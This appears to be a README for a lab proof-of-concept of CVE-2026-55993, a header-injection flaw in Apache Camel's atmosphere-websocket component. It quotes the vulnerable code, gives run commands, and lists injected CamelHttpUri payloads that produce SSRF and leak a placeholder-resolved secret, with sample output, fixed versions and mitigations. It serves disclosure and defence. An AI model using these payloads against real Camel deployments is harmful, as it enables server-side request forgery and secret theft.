
PoC reproducer for CVE-2026-55993 (Apache Camel camel-atmosphere-websocket): the WebSocket consumer copies connection query parameters onto the Exchange unfiltered, so an injected CamelHttpUri drives a server-side request (SSRF) and leaks resolved property placeholders. Fixed in 4.14.8/4.18.3/4.21.0.
This project demonstrates a message-header injection in Apache Camel's camel-atmosphere-websocket
component, tracked as CVE-2026-55993. The WebSocket consumer copies the connection's query parameters onto
the Camel Exchange without any HeaderFilterStrategy, so a client can inject Camel control headers — notably
CamelHttpUri — simply by adding them to the WebSocket URL's query string:
// WebsocketConsumer.sendEventNotification (affected 4.18.2) — query params -> Exchange headers, unfiltered
for (Map.Entry<String, String> param : queryMap.entrySet()) {
exchange.getIn().setHeader(param.getKey(), param.getValue());
}
// where queryMap = getQueryMap(request.getQueryString()) (a naive, non-filtering parser)
When the route bridges this consumer into an HTTP producer, an injected CamelHttpUri overrides the producer's
target URI — server-side request forgery. The camel-http producer also calls resolvePropertyPlaceholders() on
that attacker-controlled URI, so an injected {{...}} reference is expanded to its real value and sent out —
disclosing environment variables, application properties, or vault secrets.
This PoC demonstrates the impact as SSRF plus secret disclosure (CWE-20 → CWE-918 + CWE-200). It is one of
three sibling components fixed together under CAMEL-23532 (with camel-vertx-websocket, CVE-2026-46726, and
camel-iggy, CVE-2026-55994).
Advisory: https://camel.apache.org/security/CVE-2026-55993.html
The fix applies the inherited
HttpHeaderFilterStrategyto the inbound mapping, filteringCamel*/camel*headers case-insensitively so they can no longer be injected through the WebSocket query string.
The two vulnerable members of WebsocketConsumer are run unchanged, with an attacker-controlled query string:
WebsocketConsumer.getQueryMap(String) — the naive, non-filtering parser that turns the WebSocket
connection's query string into a map;WebsocketConsumer.sendEventNotification(...) — which copies every entry of that map onto the
Exchange as a header, with no HeaderFilterStrategy.The resulting Exchange flows through the real route to the real camel-http producer, so the SSRF and the
{{...}} property-placeholder disclosure are genuine.
Why the WebSocket transport is not used directly. In this component version (Camel 4.18.2 → Atmosphere 3.1.0), a WebSocket is served over JSR-356, whose upgrade is handled by the servlet container and bypasses
CamelWebSocketServlet.service()— the only place that copies the connection's query string into the consumer'squeryMap.sendEventNotificationreads that (empty) map, never the query on the WebSocket session, so the injection cannot be delivered through a live JSR-356 WebSocket in this Atmosphere version. (Atmosphere 3.1.0 ships only JSR-356 / Servlet30 / BlockingIO / Netty support — no servlet-based WebSocket transport that would populatequeryMap.) This reproducer therefore invokes the two real vulnerable methods directly with the attacker's query string; the siblingcamel-vertx-websocketPoC (CVE-2026-46726) drives the identical defect through a live WebSocket, because that component maps the query on every message.
from("atmosphere-websocket:///feed")
.to("http://localhost:8080/legit-backend?throwExceptionOnFailure=false");
The route author's only intended target is /legit-backend; the injected CamelHttpUri overrides it.
CVE-2026-55993/
├── pom.xml # camel-atmosphere-websocket + camel-http 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # atmosphere-websocket:///feed -> http://localhost:8080/legit-backend
│ ├── SinkController.java # SSRF collector: /legit-backend, /internal/secret, /collect/{secret}
│ └── ExploitController.java # drives the real getQueryMap + sendEventNotification with an injected query
└── resources/
└── application.properties # app.secret=... (leaked via placeholder resolution)
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
1) Legitimate WebSocket connection (no query params)
reached /legit-backend: true
reached /internal/secret: false
2) Injected query 'CamelHttpUri=http://localhost:8080/internal/secret' (SSRF)
server-side request reached /internal/secret: true
3) Injected query 'CamelHttpUri=http://localhost:8080/collect/{{app.secret}}' (secret disclosure)
attacker's collector received leak = SUPER-SECRET-abc123
equals the app's real secret: true
>>> SSRF=true, secret-disclosure=true
Upgrade to 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23532). After upgrading, the consumer filters Camel* headers from
the WebSocket query string, so CamelHttpUri and other control headers can no longer be injected.
Until upgrading, do not bridge an atmosphere-websocket consumer directly into an HTTP producer without stripping
Camel control headers first (for example removeHeaders("CamelHttp*")), and set the producer's target from a
trusted source (or use bridgeEndpoint=true).
This reproducer is provided for security research and authorized testing only, for a publicly disclosed and fixed vulnerability. Do not use it against systems without explicit permission.
| Property | Value |
|---|
| Component | camel-atmosphere-websocket |
| Affected Class | org.apache.camel.component.atmosphere.websocket.WebsocketConsumer (getQueryMap() / sendEventNotification() map query params to headers with no filter) |
| CWE | CWE-20 (Improper Input Validation) → CWE-918 (SSRF) + CWE-200 (Information Exposure) |
| Impact | Unauthenticated SSRF and disclosure of secrets via property-placeholder resolution on the injected URI |
| Preconditions | A route bridges an atmosphere-websocket consumer into an HTTP producer; the servlet runs with events=true |
| Affected Versions | From 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0 |
| Fixed Versions | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23532 (PR apache/camel#23285) |
| Credit | Kamalpreet Singh |